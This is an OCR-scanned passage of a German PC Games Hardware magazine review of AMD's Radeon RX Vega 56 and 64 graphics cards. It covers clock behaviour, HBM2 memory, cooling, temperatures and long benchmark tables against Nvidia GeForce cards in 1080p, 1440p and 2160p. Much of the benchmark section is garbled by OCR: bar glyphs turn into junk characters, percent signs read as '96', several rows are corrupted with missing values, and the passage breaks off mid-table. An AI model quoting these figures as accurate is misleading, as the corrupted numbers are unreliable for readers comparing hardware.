3.584 aktiven (von 4.096 physika- 
lisch vorhandenen) Shader-ALUs 
führt. Außerdem arbeitet ihr HBM 
nur mit 800 anstelle von 945 MHz. 


Die Anzahl der aktiven Compu- 
te Units erklärt die Nomenklatur. 
Wir schließen nicht aus, dass AMD 
sein Portfolio zu einem späteren 
Zeitpunkt mit einer 300-Euro-Lö- 
sung der Sorte „RX Vega 48“ kom- 
plettiert, bei der stärker gestutzte 
Vega-10-GPUs gewinnbringend 
eingesetzt werden, anstatt sie auf- 
grund der Fertigungsdefekte in 
den Elektroschrott zu werfen. Die 
letzte AMD-Grafikkarte mit einem 
zur „LE“-Ausbaustufe degradierten 
High-End-Chip war die Radeon HD 
7870 XT (Tahiti-GPU). 


Ein neuer Boost 

Sie sind beim Lesen womóglich 
schon darüber gestolpert: Was den 
Boost angeht, beschreitet AMD den 
Weg Nvidias; es gibt nicht mehr 
nur einen (relativ geringen) Basis- 
takt und einen maximalen Boost, 
neuerdings nennt AMD auch eine 
durchschnittliche Frequenz. De- 
tails, welche Anwendungen und 
ob Temperaturen und Serienstreu- 
ung mit in diese Angabe fließen, 
hielt AMD auf Nachfrage unter Ver- 
schluss. Grundsätzlich ist die offizi- 
elle Dreiteilung des Takts sinnvoll 
und erlaubt erstmals Vergleiche 
mit „typischen“ Boosts. Wir haben 
die Leistungdaten auf der linken 
Seite entsprechend ausgerechnet 
und um die maximalen Boosts er- 
gänzt. Letztere spielen in der Praxis 
eine untergeordnete Rolle. 


soza 


8 + X GiByte 

Vega 10 bringt erstmals High Band- 
width Memory zweiter Generation 
(HBM2) in den Endkundenmarkt. 
Dieser Speicher wird zusammen 
mit dem Grafikchip auf einer Trä- 
gerplatine, dem Interposer, zusam- 
mengeführt. Diese Heirat führt zu 
einem ganz besonderen Package, 
das bislang auf keiner Geforce zu 
finden ist: Die Platine, welche GPU 
und HBM trägt, ist relativ groß und 
erfordert daher breite Lochabstän- 
de für Kühler - dafür kommt der 
Rest der Grafikkarte komplett ohne 
die klassischen, schwarzen GDDR- 
Speicherquader aus. 


Ausnahmslos alle RX-Vega-Modelle 
tragen zwei „4-Hi“-Stacks, sprich: 
zwei HBM-Stapel mit je 4 GiByte 
Kapazität, ein jeder verbunden mit 
1.024 Datenbahnen in Richtung 
Grafikprozessor. Unter dem Strich 
stehen somit 8 GiByte Kapazität, 
was für das Jahr 2017 bisher aus- 
nahmslos genügt hat - die Herbst- 
Blockbuster um Call of Duty WWII, 
Assassin’s Creed Origins & Co. wer- 
den zeigen, ob das so bleibt. Wenn’s 
doch mal eng wird und Daten aus 
dem Hauptspeicher angefordert 
werden müssen, hilft eine neue 
Fertigkeit des Vega-Speichercon- 
trollers: Anstelle des klassischen 
Verfahrens, große Speicherblöcke 
mit den enthaltenen Daten über 
das PCI-Express-Interface zu kopie- 
ren, kann Vega nur die tatsächlich 
benötigten, in der Regel kleineren 
Datenpakete (Pages) 
Wir gehen später erneut auf dieses 
Feature ein. So viel vorweg: Vega 


anfordern. 


versteht es relativ gut, mit Speicher- 
mangel umzugehen. 


Kühlphilosophien 

Sowohl die Radeon RX Vega 64 als 
auch die Vega 56 sind standardmä- 
Big mit einem Luftkühler erhält- 
lich, welcher eine Vapor-Chamber 
anstelle von Heatpipes beherbergt. 
Das Kühlsystem arbeitet nach dem 
DHE-Prinzip: Beim Direct Heat Ex- 
haust sitzt ein Radiallüfter am Heck 


\ 
| 
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der Platine, saugt Umgebungsluft 
von oberhalb der Lüfternabe an 
und presst sie anschließend durch 
einen Lufttunnel, an dessen Ende 
sich die Slotblende der Grafikkar- 
te befindet - der Löwenanteil der 
Abwärme wird aus dem Gehäuse 
befördert. Damit treten die Vega- 
Karten in die Fußstapfen unzähli- 
ger Referenzdesigns, welche fast 
ausschließlich auf DHE basieren. 
Die Vega 64 Liquid-Cooled bildet 
hiervon, wie bereits die Fury X, 
eine Ausnahme. Da wir keine Vega 
64 LCE zum Test erhalten haben, 
beschränken wir uns einstweilen 
auf die luftgekühlten Varianten. 


Taktraten, Spannungen, 
Temperaturen: RX Vega 64 
Was die  Grafikkartenhersteller 
als „Boost“ vermarkten, lässt sich 
auch realitätsnäher formulieren: 
Die Taktrate bei geringer Last ist 
hoch und unter Volllast gering. 
Das klingt zunächst unlogisch, 
denn gerade im Ernstfall ist man 
auf jedes Quäntchen Leistung an- 
gewiesen, begründet sich aber mit 
physikalischen Limits. Je besser die 
Auslastung des Chips, desto mehr 
Transistoren schalten, desto größer 
der Energieverbrauch und somit 
die Hitze. Man könnte auch sagen: 
Senkt Ihre Grafikkarte ihren Takt 
nicht, hat sie nicht genug zu tun. 


Die uns vorliegende Radeon RX 
Vega 64 Limited Edition legt das 
gleiche Verhalten an den Tag wie 
die Frontier Edition, mit leicht ab- 
weichenden Frequenzen. Wird ein 
Spiel gestartet, arbeitet der Kern 
mit seinem maximalen Boostschritt 
von 1.630 MHz und 1,2 Volt Kern- 
spannung. Damit ist es in der Regel 
nach dem Laden des Spielstandes 
vorbei, da die fließenden Ströme li- 
mitieren. Frühe Treiber nennen als 
nächste Stufen 1.537 MHz bei 1,15 
Volt sowie 1.401 MHz bei 1,10 Volt. 
Diese beiden sind die Regel bei ei- 
ner luftgekühlten Vega 64. Seit der 
Radeon-Software-Version 17.8.2 
wird die tatsächlich verwendete 
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Frequenz in 1-MHz-feinen Schrit- 
ten ausgegeben. Müssten wir einen 
Mittelwert überschlagen, wären 
wir mit der AMD-Angabe von 1.546 
MHz einverstanden - mit einem 
großen Aber: 1,55 GHz mag über 
viele Anwendungen und Auflösun- 
gen stimmen, unter reiner Volllast 
mit unsynchronisierter Bildrate ab 
WOHD liegt der Mittelwert unseres 
Musters jedoch tendenziell bei 1,45 
GHz. Da hier jedoch die individuel- 
le Qualität der eigenen Grafikkarte 
hineinspielt (Serienstreuung), ist 
keine definitive Aussage möglich. 


Wird die Vega 64 Air unter Last ge- 
setzt, fährt die Lüftersteuerung zu- 
nächst langsam hoch. Mit steigen- 
der GPU-Temperatur setzt jedoch 
eine hörbare Panik ein, sodass die 
Lüfterleistung ab circa 60 °C stark 
erhöht wird, um präventiv zu agie- 
ren. Der Lautstärke-Peak wird ergo 
weit unter der Maximaltemperatur 
erzielt, welche bei 85 °C liegt. Bei 
anhaltender Last beruhigt sich die 
Lüftersteuerung langsam wieder 
und die Geräuschemission sinkt. 
Unsere RX Vega 64 erreicht unter 
Dauerlast höchstens 84 °C. Die Lüf- 
tersteuerung ist bei 2.400 Umdre- 


hungen pro Minute abgeriegelt (ca. 
50 % PWM), obwohl der Lüfter ma- 
ximal 4.900 U/Min leisten könnte. 


Taktraten, Spannungen, 
Temperaturen: RX Vega 56 
Bei der Radeon RX Vega 56 läuft das 
gleiche Programm ab, allerdings 
gemächlicher. Sie zeigt deutlich 
die Auswirkungen ihres wesentlich 
engeren Power-Korsetts. Der Ma- 
ximalboost von 1.590 MHz bei 1,2 
Volt wird beim Spielen sofort fallen 
gelassen. Wesentlich häufiger anzu- 
treffen sind die internen Stufen da- 
runter (1.474 MHz > 1.312 > 1.269 
МН2). Auch hier geben neue Trei- 
ber seit Version 17.8.2 Aufschluss 
über die präzise Frequenz inner- 
halb der Stufen. Müssten wir einen 
Mittelwert nennen, läge dieser bei 
circa 1.350 MHz. AMD nennt hier 
sehr optimistische 1.471 MHz. 


Die Vega 56 verfügt über die glei- 
che Lüfter-Hysterese wie die Vega 
64 Air. Unter Last wird sie dank ge- 
ringerer Hitzeentwicklung jedoch 
wesentlich langsamer heiß, sodass 
die Lüfterkurve etwas flacher aus- 
fällt. Gemein haben die beiden 
Schwestern den Spitzenwert von 


Strix Vega: Asus hat als erster AMD-Partner sein Vega-Eigendesign präsentiert. 
2,5-Slot-Kühlung gehört hier im wahrsten Sinne des Wortes zum guten Ton. Wir 
erwarten Serienmuster für die kommende Ausgabe — neben weiteren Herstellern. 


rund 2.400 Lüfterumdrehungen, 
welcher nicht etwa nach einer 
halben Stunde unter Last, sondern 
deutlich früher angewendet wird. 
Der Temperatur-Maximalwert von 
85 °C wird von unserem Vega- 
56-Muster niemals erreicht, wir be- 
kommen maximal 76 °C zu Gesicht. 


Spieleleistung 

Auf den folgenden Seiten finden 
Sie unzählige Messwerte, auf die 
wir Sie kurz einstimmen möchten. 
AMDs neue Oberklasse musste sich 


in beinahe 40 populären Spielen 
der Jahrgänge 2008 bis 2017 be- 
weisen, womit wir alle denkbaren 
Lasten abdecken. Zu den 19 Stan- 
dardspielen des aktuellen PCGH- 
Leistungsindex gesellen sich folg- 
lich weitere Titel, welche sich in 
den vergangenen Monaten als gute, 
reproduzierbare Benchmarks er- 
wiesen haben. Ihr Feedback ist, wie 
immer, erwünscht: Welche neuen 
Spiele würden Sie gerne im PCGH- 
Index 2017/2018 sehen und war- 
um? Schreiben Sie an rv@pcgh.de! 


Frametimes (weniger ist besser!): Wenn ein Spiel sich 9+ GiByte Grafikspeicher wünscht 


Geforce GTX 1080 (max. Powertarget, -1,75 GHz): Einbruch auf bis zu 13 Fps 


w FRAFS Bench Viewer. 
GTX 1080 OC - Mirror's Edge Catalyst - 
Statistics (displayed events) 
Avg. lime; 


FRAFS Bench Viewer 
GTX 1080 Ti - Mirror's Edge Catalyst. 


Statistics (displayed events) 
Avg. ime; NA 


Geforce GTX 1080 Ti (~1,65 GHz): Auch dank ihrer 11 GiByte beste Frametimes 


Vega 64 , Turbo" (1,54-1,63 GHz): Einbruch auf bis zu 9 Fps 


FRAFS Bench Viewer 


Vega 64 Turbo - Mirror's Edge Catalyst 


Statistics (displayed events) 
Avg. time: 567 


500 frames: (0-500) 


FRAFS Bench Viewer. 


Vega 64 Turbo - HBCC 16 Gil - Mirror's Edge Catalyst. 


01% tme; 694 
500 frames: (0.500) 


Vega 64 Turbo" mit 16 GiB HMS: Deutliches Leistungsplus 


Bild: Asus 


Getestet wurde Mirror's Edge Catalyst in Ultra HD mit 125 Prozent Renderskalierung. Das Spiel profitiert bei dieser hohen Auflósung von mehr als 8 GiByte Grafikspei- 
cher. Darf die Vega 64 einen Teil des Hauptspeichers als Hybrid Memory Segment nutzen, steigt die Leistung deutlich (über das Niveau der GTX 1080) an. 
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Radeon RX Vega 56/64: Leistung in Full HD (1080p) 


Doom (Vulkan), TSSAA 8ТХ/16:1 AF - „Devil's Dance" 


Nvidia Geforce GTX 1080 Ti/11G as 200,0 (0 96) 
AMD Radeon RX Vega 64/8G 200,0 (Basis) 
Nvidia Geforce GTX 1080/8G ӨЙ 193,0 (-4 96) 
AMD Radeon RX Vega 56/8G ER II 190,2 (-5 96) 

AMD Radeon R9 Fury X/4G = s 181,4 (-9 96) 
Nvidia Geforce GTX 1070/8G aa 160,5 (-20 96) 
AMD Radeon RX 580/8G a; pu 155,7 (22 96) 
Nvidia Geforce GTX 980 Ti/6G nie ES 147,7 (C26 %) 
AMD Radeon R9 390X/8G. wa; 135,0 (-33 %) 
Nvidia Geforce GTX 970/3,5+0,5G [Xs x 106,4 (-47 96) 
Nvidia Geforce GTX 780 Ti/3G. es ШЕШ 82,1 (-59 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


Nvidia Geforce GTX 1080 Ti/11G adn 132,0 (+29 96) 
Nvidia Geforce GTX 1080/86 81D 112,3 (+10 96) 
AMD Radeon RX Vega 64/8G ge 102,3 (Basis) 
Nvidia Geforce GTX 1070/8G. 841 88,5 (-13 96) 

AMD Radeon RX Vega 56/8G ge 87,1 (-15 96) 
Nvidia Geforce GTX 980 Ti/6G m 79,8 (-22 96) 
AMD Radeon R9 Fury X/4G |n 74,2 (27 %) 
AMD Radeon RX 580/86 setti 63,7 (-38 96) 
Nvidia Geforce GTX 970/3,5+0,5G 52 54,3 (-47 96) 
AMD Radeon R9 390X/8G pt) 53,7 (-48 96) 
Nvidia Geforce GTX 780 Ti/3G 550! 53,1 (-48 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - ,, Prague" 


Nvidia Geforce GTX 1080 Ti/11G [08 119,4 (+15 96) 
AMD Radeon RX Vega 64/8G ШО 104,1 (Basis) 
Nvidia Geforce GTX 1080/8G | gr 102,8 (-1 96) 
AMD Radeon RX Vega 56/8G ШОИ 88,1 (-15 96) 
Nvidia Geforce GTX 1070/8G ШЗ 8 82,0 (-21 96) 
Nvidia Geforce GTX 980 Ti/6G ez 75,8 (-27 %) 

AMD Radeon R9 Fury X/4G seg 73,3 (-30 96) 
AMD Radeon RX 580/86 58H 65,3 (-37 96) 
AMD Radeon R9 390X/8G [86811 61,7 (-41 96) 
Nvidia Geforce GTX 970/3,5+0,56 4811 51,2 (-51 96) 
Nvidia Geforce GTX 780 T/3G MEZO] 46,2 (-56 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF – , Rooftops" 


Nvidia Geforce GTX 1080 Ti/11G [gs 114,7 (+33 96) 
Nvidia Geforce GTX 1080/8G [gt x 98,2 (+14 96) 
AMD Radeon RX Vega 64/8G ELI 86,1 (Basis) 
Nvidia Geforce GTX 1070/86 [es Ex 78,5 (-9 96) 

AMD Radeon RX Vega 56/8G EE 75,3 (-13 %) 
Nvidia Geforce GTX 980 Ti/6G HESSEN 69,6 (-19 96) 
AMD Radeon RX 580/8G 5391 [x 55,1 (-36 96) 
AMD Radeon R9 390X/8G MBAN 50,4 (-41 96) 
AMD Radeon R9 Fury X/4G В 2618 34,1 (-60 96) 
Nvidia Geforce GTX 970/3,5+0,56 [3711 30,7 (-64 96) 
Nvidia Geforce GTX 780 Ti/3G Ш 211 28,0 (-67 96) 


F1 2016, TAA/16:1 AF - „Catalunya“ 


Nvidia Geforce GTX 1080 Ti/11G Eg 111,8 (+27 96) 
Nvidia Geforce GTX 1080/86 EEE 99,8 (+14 96) 
AMD Radeon RX Vega 64/8G. BEES 87,9 (Basis) 
AMD Radeon RX Vega 56/8G ЗИ 37,7 (-0 96) 
Nvidia Geforce GTX 1070/8G [gti 83,1 (-5 96) 
Nvidia Geforce GTX 980 Ti/6G 381 75,9 (-14 96) 

AMD Radeon R9 Fury X/4G [Ent 71,4 (-19 96) 
AMD Radeon RX 580/86 $81! 67,2 (-24 96) 
AMD Radeon R9 390X/8G [71 60,6 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G ШУД 55,8 (-37 96) 
Nvidia Geforce GTX 780 Ti/3G 481] 52,3 (-41 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


Nvidia Geforce GTX 1080 Ti/11G. 88 104,5 (+26 96) 
Nvidia Geforce GTX 1080/8G. yr 86,8 (+5 96) 
AMD Radeon RX Vega 64/8G SSRSEGMQIIIGŠII==I€IIIIIIƏIƏII H 
Nvidia Geforce GTX 1070/8G. sq Ex 69,4 (-16 96) 
AMD Radeon RX Vega 56/8G ESSEN 69,2 (-16 96) 
Nvidia Geforce GTX 980 Ti/6G. ШШШ 60,7 (-27 9b) 

AMD Radeon R9 Fury X/4G E481 58,1 (-30 96) 
AMD Radeon R9 390X/8G [5381 Ex 50,2 (-39 96) 
AMD Radeon RX 580/8G. Ш 3288 47,7 (-42 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш ЗУ 43,2 (-48 96) 
Nvidia Geforce GTX 780 Ti/3G ШЗ 41,3 (-50 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


Nvidia Geforce GTX 1080 Ti/11G gg 103,5 (+35 96) 
Nvidia Geforce GTX 1080/8G EX 84,6 (+11 96) 
AMD Radeon RX Меда 64/8G EE 76,5 (Basis) 
Nvidia Geforce GTX 1070/8G sd 8 64,2 (-16 96) 
AMD Radeon RX Vega 56/8G ШЭ 63,4 (-17 96) 

Nvidia Geforce GTX 980 Ti/6G [8011 60,2 (-21 96) 
AMD Radeon R9 Fury X/4G Ea 51,3 (-33 96) 
AMD Radeon RX 580/8G 388 46,2 (-40 96) 
AMD Radeon R9 390X/8G. 38: 44,3 (-42 96) 
Nvidia Geforce GTX 970/3,5+0,5G БШ 32,9 (-57 96) 
Nvidia Geforce GTX 780 Ti/3G Ж ЭЛ 30,4 (-60 96) 


Assassin's C. Syndicate, 4х MSAA+FXAA/16:1 Treiber-AF - „Bishopsgate” 


Nvidia Geforce GTX 1080 Ti/11G |t 89,8 (+46 96) 
Nvidia Geforce GTX 1080/8G mut 78,7 (+28 96) 
Nvidia Geforce GTX 1070/8G [581 64,1 (+5 96) 
AMD Radeon RX Меда 64/8G SQIƏIIIIG IFI€I 61,3 (Basis) 

Nvidia Geforce GTX 980 Ti/6G [C481 54,4 (-11 96) 
AMD Radeon RX Меда 56/8G aen 53,7 (-12 96) 
AMD Radeon R9 Fury X/4G [MET 48,4 (-21 96) 
AMD Radeon RX 580/8G [5381] 42,0 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш ЗД] 40,0 (-35 96) 
AMD Radeon R9 390X/8G [34] 38,5 (-37 96) 
Nvidia Geforce GTX 780 Ti/3G. Ш ЗІ 34,7 (-43 96) 


GTA 5 (DX11), Gras „sehr hoch", 4х MSAA/16:1 AF - „Grapeseed” 


Nvidia Geforce GTX 1080 Ti/11G. [X68 71,7 (+35 96) 
Nvidia Geforce GTX 1080/8G ВЕБ 62,8 (+18 96) 
AMD Radeon RX Меда 64/8G IU] 53,3 (Basis) 
Nvidia Geforce GTX 1070/86 491! 53,1 (-0 96) 
AMD Radeon RX Vega 56/8G Pet 45,8 (-14 96) 
Nvidia Geforce GTX 980 Ti/6G 481] 45,8 (-14 96) 

AMD Radeon R9 Fury X/4G [5381] 42,3 (-21 96) 
AMD Radeon R9 390X/8G. [534] 37,3 (-30 96) 
Nvidia Geforce GTX 780 Ti/3G [9321] 34,9 (-35 96) 
AMD Radeon RX 580/8G. [531] 34,7 (-35 96) 
Nvidia Geforce GTX 970/3,5+0,5G В ЗІ 33,8 (-37 96) 


Ashes of the Singularity (DX12), 4x MSAA/16:1 AF – „Scavenger” 


Nvidia Geforce GTX 1080 Ti/11G ЗӨ 48,4 (+19 96) 
Nvidia Geforce GTX 1080/8G [28/3 44,0 (+8 96) 
AMD Radeon RX Vega 64/8G ЛШ 40,7 (Basis) 
AMD Radeon RX Vega 56/8G 26] 38,9 (-4 96) 
Nvidia Geforce GTX 1070/8G BZA 38,3 (-6 96) 

AMD Radeon R9 Fury X/4G 228 32,8 (-19 96) 
Nvidia Geforce GTX 980 Ti/6G 82318 32,3 (-21 96) 
AMD Radeon R9 390X/8G MaN 28,8 (-29 96) 
AMD Radeon RX 580/8G AN 28,1 (-31 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш 24,2 (-41 96) 
Nvidia Geforce GTX 780 Ti/3G 1 23,1 (-43 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 384.80 HF, RS 17.8.1, HQ-AF 
Bemerkungen: Die GTX 1080 muss sich der Vega 64 nur in Doom und Deus Ex: MD geschlagen geben, während es bei der GTX 1070 und Vega 56 sehr ausgewogen zugeht — AC Syndicate ausgenommen. 
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Radeon RX Vega 56/64: Leistung in WQHD (1440p) 


Doom (Vulkan), TSSAA 8ТХ/16:1 AF - „Devil’s Dance" 


Nvidia Geforce GTX 1080 Ti/11G. as 171,2 (+16 %) 
AMD Radeon RX Vega 64/8G En 143,1 (Basis) 
Nvidia Geforce GTX 1080/8G ТОВ! 134.0 (-10 96) 
AMD Radeon RX Vega 56/8G I 122,7 (-17 96) 

AMD Radeon R9 Fury X/4G Egg pu 119,5 (-19 %) 
Nvidia Geforce GTX 1070/8G gs 103,5 (-30 %) 
AMD Radeon RX 580/8G gr s 98,4 (-34 96) 
Nvidia Geforce GTX 980 Т/6б m l 94,6 (-36 96) 
AMD Radeon R9 390X/8G. [an s 87,9 (-41 96) 
Nvidia Geforce GTX 970/3,5+0,5G ШД ER 66,3 (-55 96) 
Nvidia Geforce GTX 780 Ti/3G agre 51,9 (-65 96) 


F1 2016, TAA/16:1 AF - „Catalunya“ 


Nvidia Geforce GTX 1080 Ti/11G gati 94,8 (+11 96) 
AMD Radeon RX Vega 64/8G. EET] 85,6 (Basis) 
Nvidia Geforce GTX 1080/8G gr 83,8 (-2 96) 
AMD Radeon RX Vega 56/8G ƏERIIMIII—çIç€II.AIOIIIIIIQIVÓIŠIÇCIIIIOX*I 
Nvidia Geforce GTX 1070/8G sedi 67,5 (-21 96) 
Nvidia Geforce GTX 980 Ti/6G 0! 62,5 (-27 96) 

AMD Radeon R9 Fury X/4G ET 61,4 (-28 96) 
AMD Radeon RX 580/8G 52| 54,4 (-36 96) 
AMD Radeon R9 390X/8G. gg) 50,8 (-41 96) 
Nvidia Geforce GTX 970/3,5+0,5G E481 45,0 (-47 96) 
Nvidia Geforce GTX 780 Ti/3G Wn 42,6 (-50 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


Nvidia Geforce GTX 1080 Ti/11G egt 93,2 (+32 96) 
Nvidia Geforce GTX 1080/8G ant 77,1 (+9 96) 
AMD Radeon RX Vega 64/8G. EES) 70,7 (Basis) 
AMD Radeon RX Vega 56/8G BEEN] 59,7 (-16 96) 
Nvidia Geforce GTX 1070/8G sg] 59,7 (-16 96) 

Nvidia Geforce GTX 980 Ti/6G E881] 55,0 (-22 96) 
AMD Radeon R9 Fury X/4G Essi 53,7 (-24 96) 
AMD Radeon RX 580/8G 42! 43,8 (-38 96) 
AMD Radeon R9 390X/8G 5381] 37,9 (-46 96) 
Nvidia Geforce GTX 780 Ti/3G 538] 37,5 (-47 96) 
Nvidia Geforce GTX 970/3,5+0,5G ВЕ ЗУ 36,8 (-48 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - „Prague” 


Nvidia Geforce GTX 1080 Ti/11G [eH 83,8 (4-19 96) 
AMD Radeon RX Vega 64/8G. SEIEII ICHOÉ c_cOE6SI] 70,7 (Basis) 
Nvidia Geforce GTX 1080/8G seam 69,9 (-1 96) 
AMD Radeon RX Vega 56/8G MEEME 59,8 (-15 96) 
Nvidia Geforce GTX 1070/8G 59h 55,2 (-22 96) 
Nvidia Geforce GTX 980 Ti/6G EEE 52,1 (-26 96) 

AMD Radeon R9 Fury X/4G E48 50,2 (-29 96) 
AMD Radeon RX 580/8G [53911 44,2 (-37 96) 
AMD Radeon R9 390X/8G. [5381 42,4 (-40 96) 
Nvidia Geforce GTX 970/3,5+0,56 [5301] 33,6 (-52 96) 
Nvidia Geforce GTX 780 Ti/3G Ж ШЇЇ 30,7 (-57 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF – , Rooftops" 


Nvidia Geforce GTX 1080 Ti/11G. Xem 81,2 (+35 96) 
Nvidia Geforce GTX 1080/8G s 67,5 (+12 96) 
AMD Radeon RX Vega 64/8G SIII IIIIUHL EN 60,1 (Basis) 
Nvidia Geforce GTX 1070/8G Cm 53,4 (-11 96) 
AMD Radeon RX Vega 56/8G EEE 52,8 (-12 96) 
Nvidia Geforce GTX 980 Ti/6G MEAO 48,3 (-20 96) 

AMD Radeon RX 580/8G [261 37,7 (-37 96) 
AMD Radeon R9 390X/8G 1:221 [3 35,2 (-41 96) 
AMD Radeon R9 Fury X/4G 8 24,4 (-59 96) 
Nvidia Geforce GTX 970/3,5+0,5G [880 23,0 (-62 96) 
Nvidia Geforce GTX 780 Ti/3G Ш 19,2 (-68 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


Nvidia Geforce GTX 1080 Ti/11G eg 81,1 (+26 96) 
Nvidia Geforce GTX 1080/86 58113 66,4 (4-3 96) 
AMD Radeon RX Vega 64/8G ШБ 64,2 (Basis) 
AMD Radeon RX Vega 56/8G geb 53,6 (-17 96) 
Nvidia Geforce GTX 1070/8G. WR 52,1 (-19 96) 

AMD Radeon R9 Fury X/4G E4915 47,5 (-26 96) 
Nvidia Geforce GTX 980 Ti/6G 49r 47,0 (-27 96) 
AMD Radeon R9 390X/8G Ш 3318 40,2 (-37 96) 
AMD Radeon RX 580/8G. ШЗ 37,5 (-42 96) 
Nvidia Geforce GTX 780 T/3G Ш 298 32,3 (-50 96) 
Nvidia Geforce GTX 970/3,5--0,5G Ш 2518 31,3 (-51 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


Nvidia Geforce GTX 1080 Ti/11G. esp 74,1 (+34 96) 
Nvidia Geforce GTX 1080/86 grs 58,8 (+7 96) 
AMD Radeon RX Vega 64/8G IGI 55,1 (Basis) 
AMD Radeon RX Vega 56/8G ШД 45,2 (-18 96) 
Nvidia Geforce GTX 1070/8G ШЕ 28 45,0 (-18 96) 

Nvidia Geforce GTX 980 Ti/6G ШЕ 368 43,0 (-22 96) 
AMD Radeon R9 Fury X/4G Ш 328 38,0 (-31 96) 
AMD Radeon RX 580/8G Ш 2818 33,1 (-40 96) 
AMD Radeon R9 390X/8G Ш 2818 32,8 (-40 96) 
Nvidia Geforce GTX 970/3,5--0,5G б 19,1 (-65 96) 
Nvidia Geforce GTX 780 Ti/3G MAN 17,1 (-69 96) 


Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - , Bishopsgate" 


Nvidia Geforce GTX 1080 Ti/11G 5911 64,5 (+60 96) 
Nvidia Geforce GTX 1080/8G 801 Н 54,4 (+35 96) 
Nvidia Geforce GTX 1070/86 MEZO] 44,0 (4-9 96) 
AMD Radeon RX Vega 64/8G ШД] 40,3 (Basis) 

Nvidia Geforce GTX 980 Ti/6G [53511 38,5 (-4 96) 
AMD Radeon RX Vega 56/8G Feet 36,4 (-10 96) 
AMD Radeon R9 Fury X/4G 318] 33,8 (-16 96) 
AMD Radeon RX 580/8G [28/1 28,0 (-31 96) 
AMD Radeon R9 390X/8G [24] 27,0 (-33 96) 
Nvidia Geforce GTX 970/3,5--0,5G 231] 25,8 (-36 96) 
Nvidia Geforce GTX 780 Ti/3G 191] 21,8 (-46 96) 


СТА 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF - „Grapeseed” 


Nvidia Geforce GTX 1080 Ti/11G. ШЕ] 55,8 (+41 96) 
Nvidia Geforce GTX 1080/86 MEA] 46,8 (4-18 96) 
AMD Radeon RX Vega 64/8G ISI] 39,5 (Basis) 
Nvidia Geforce GTX 1070/86 5381 38,4 (-3 96) 

Nvidia Geforce GTX 980 Ti/6G 53111 34,1 (-14 96) 
AMD Radeon RX Vega 56/8G BEI] 33,8 (-14 96) 
AMD Radeon R9 Fury X/4G [381] 32,0 (-19 96) 
AMD Radeon R9 390X/8G [281] 27,8 (-30 96) 
Nvidia Geforce GTX 780 Ti/3G В| 25,9 (-34 96) 
AMD Radeon RX 580/8G [221] 24,8 (-37 96) 
Nvidia Geforce GTX 970/3,5+0,56 В 99| 24,1 (-39 96) 


Ashes of the Singularity (DX12), 4x MSAA/16:1 AF - , Scavenger" 


Nvidia Geforce GTX 1080 Ti/11G ШЕ p 42,2 (+23 96) 
Nvidia Geforce GTX 1080/8G В 23188 34,7 (4-1 96) 
AMD Radeon RX Vega 64/8G ЭЗШ 34,4 (Basis) 
AMD Radeon RX Vega 56/8G Эй 29,8 (-13 96) 
Nvidia Geforce GTX 1070/8G ТӨ 29,6 (-14 96) 

AMD Radeon R9 Fury X/4G Bam 26,5 (-23 96) 
Nvidia Geforce GTX 980 Ti/6G HIGH 24,3 (-29 96) 
AMD Radeon R9 390X/8G Ш 22,7 (-34 96) 
AMD Radeon RX 580/8G Ш 22,3 (-35 96) 
Nvidia Geforce GTX 970/3,5+0,5G #318 18,2 (-47 96) 
Nvidia Geforce GTX 780 Ti/3G MAH 17,8 (-48 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 384.80 HF, RS 17.8.1, HQ-AF 
Bemerkungen: WQHD ist das optimale Einsatzgebiet für die Radeon RX Vega 64 und 56, hier wirken keine CPU-Limits mehr und die Leistung genügt stets für ordentliche Bildraten. 


Mimil Ø Fps 


> Besser 


38 PC Games Hardware | 10/17 


www.pcgameshardware.de 


Radeon RX Vega | GRAFIKKARTEN 


Radeon RX Vega 56/64: Leistung in Ultra HD (2160p) 


Doom (Vulkan), TSSAA 8TX/16:1 AF - „Devil's Dance" 


AMD Radeon RX Vega 64/8G 72,8 (Basis) 
Nvidia Geforce GTX 1080/8G EEE 67,0 (-8 96) 
AMD Radeon RX Vega 56/8G EEE 60,8 (-16 96) 

AMD Radeon R9 Fury X/4G l 58,5 (-20 %) 


Nvidia Geforce GTX 1080 Ti/11G. [Xt 86,9 (+19 %) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF – , Rooftops" 


Nvidia Geforce GTX 1080 Ti/11G [368 44,3 (+38 96) 
Nvidia Geforce GTX 1080/8G 3g 35,9 (+11 96) 
AMD Radeon RX Меда 64/8G ШШШ 32,2 (Basis) 

AMD Radeon RX Vega 56/8G SEIII@ƏS@IKRIEzIŠIoIIçUIƏII-10 96) 
Nvidia Geforce GTX 1070/8G 331 27,7 (-14 %) 


Nvidia Geforce GTX 1070/8G ag 51,5 (-29 96) 
AMD Radeon RX 580/8G I GFFUISCQIIISIJISSRI 47,2 (-35 %) 
Nvidia Geforce GTX 980 Ti/6G. X38 46,4 (-36 96) 
AMD Radeon R9 390X/8G ШЗ О ES. 43,5 (-40 96) 
Nvidia Geforce GTX 970/3,5+0,5G [Xm E 31,8 (-56 96) 
Nvidia Geforce GTX 780 Ti/3G. ШЕЮ 25,9 (-64 96) 


F1 2016, TAA/16:1 AF - „Catalunya“ 


